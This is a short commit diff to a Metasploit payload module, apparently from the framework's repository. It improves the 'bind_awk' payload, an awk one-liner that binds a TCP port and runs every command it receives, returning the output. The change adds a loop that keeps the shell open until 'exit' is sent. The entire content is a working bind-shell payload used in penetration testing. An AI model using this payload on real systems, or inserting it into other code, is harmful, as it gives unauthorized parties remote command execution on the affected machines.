Improve bind_awk payload (credit @bcoles)

modules/payloads/singles/cmd/unix/bind_awk.rb

@@ -49,6 +49,6 @@ module MetasploitModule
   # Returns the command string to use for execution
   #
   def command_string
-    "awk 'BEGIN{s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"
+    "awk 'BEGIN{s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!=\"exit\");close(s)}}'"
   end
 end